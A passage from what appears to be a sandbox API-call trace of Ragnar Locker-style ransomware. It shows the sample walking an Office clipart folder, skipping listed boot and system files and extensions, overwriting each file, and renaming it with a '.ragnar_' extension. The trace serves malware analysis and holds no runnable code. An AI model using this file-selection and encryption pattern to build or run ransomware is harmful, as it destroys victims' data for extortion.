1 [0082.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.736] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2bb6, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.736] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2bb6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2bb6, lpOverlapped=0x0) returned 1 [0082.736] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2bb6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.736] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2bb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.736] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.736] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.737] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.737] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.737] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.737] GetProcessHeap () returned 0x580000 [0082.737] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.737] CloseHandle (hObject=0xf4) returned 1 [0082.737] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" [0082.737] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.ragnar_FD7BD9FC" [0082.737] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.738] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0082.738] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.738] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00343_.WMF" | out: lpString1="IN00343_.WMF") returned="IN00343_.WMF" [0082.738] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned=".WMF" [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="autorun.inf") returned 1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="boot.ini") returned 1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="bootfont.bin") returned 1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="bootsect.bak") returned 1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="bootmgr") returned 1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="bootmgr.efi") returned 1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="desktop.ini") returned 1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="iconcache.db") returned 1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="ntldr") returned -1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="ntuser.dat") returned -1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="ntuser.ini") returned -1 [0082.738] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="thumbs.db") returned -1 [0082.738] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.738] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.738] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.738] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.738] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.738] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.738] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 0x20 [0082.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.741] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1892) returned 1 [0082.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x75b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.741] GetProcessHeap () returned 0x580000 [0082.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.741] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.742] VirtualAlloc (lpAddress=0x0, dwSize=0x764, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.743] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x764, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x764, lpOverlapped=0x0) returned 1 [0082.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.743] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x764, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.743] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x764, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x764, lpOverlapped=0x0) returned 1 [0082.743] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x764, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.743] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.743] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.743] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.743] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.743] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.744] GetProcessHeap () returned 0x580000 [0082.744] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.744] CloseHandle (hObject=0xf4) returned 1 [0082.744] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" [0082.744] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.ragnar_FD7BD9FC" [0082.744] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.744] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0082.744] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.744] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00346_.WMF" | out: lpString1="IN00346_.WMF") returned="IN00346_.WMF" [0082.744] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned=".WMF" [0082.744] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.744] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="autorun.inf") returned 1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="boot.ini") returned 1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="bootfont.bin") returned 1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="bootsect.bak") returned 1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="bootmgr") returned 1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="bootmgr.efi") returned 1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="desktop.ini") returned 1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="iconcache.db") returned 1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="ntldr") returned -1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="ntuser.dat") returned -1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="ntuser.ini") returned -1 [0082.745] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="thumbs.db") returned -1 [0082.745] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.745] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.745] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.745] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.745] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.745] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.745] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20 [0082.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.745] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=696) returned 1 [0082.745] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.746] GetProcessHeap () returned 0x580000 [0082.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.746] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.747] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2b8, lpOverlapped=0x0) returned 1 [0082.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.747] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.747] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2b8, lpOverlapped=0x0) returned 1 [0082.747] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.747] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.747] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.747] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.747] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.747] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.748] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.748] GetProcessHeap () returned 0x580000 [0082.748] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.748] CloseHandle (hObject=0xf4) returned 1 [0082.748] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" [0082.748] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.ragnar_FD7BD9FC" [0082.748] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.748] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0082.748] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.748] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00351_.WMF" | out: lpString1="IN00351_.WMF") returned="IN00351_.WMF" [0082.748] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned=".WMF" [0082.748] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.748] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="autorun.inf") returned 1 [0082.748] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="boot.ini") returned 1 [0082.748] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="bootfont.bin") returned 1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="bootsect.bak") returned 1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="bootmgr") returned 1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="bootmgr.efi") returned 1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="desktop.ini") returned 1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="iconcache.db") returned 1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="ntldr") returned -1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="ntuser.dat") returned -1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="ntuser.ini") returned -1 [0082.749] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="thumbs.db") returned -1 [0082.749] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.749] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.749] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.749] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.749] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.749] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.749] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20 [0082.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.749] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1928) returned 1 [0082.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x77f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.749] GetProcessHeap () returned 0x580000 [0082.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.750] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.751] VirtualAlloc (lpAddress=0x0, dwSize=0x788, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.751] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.751] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.752] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x788, lpOverlapped=0x0) returned 1 [0082.752] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.752] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x788, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.752] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x788, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x788, lpOverlapped=0x0) returned 1 [0082.752] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x788, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.752] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.752] SetFilePointerEx 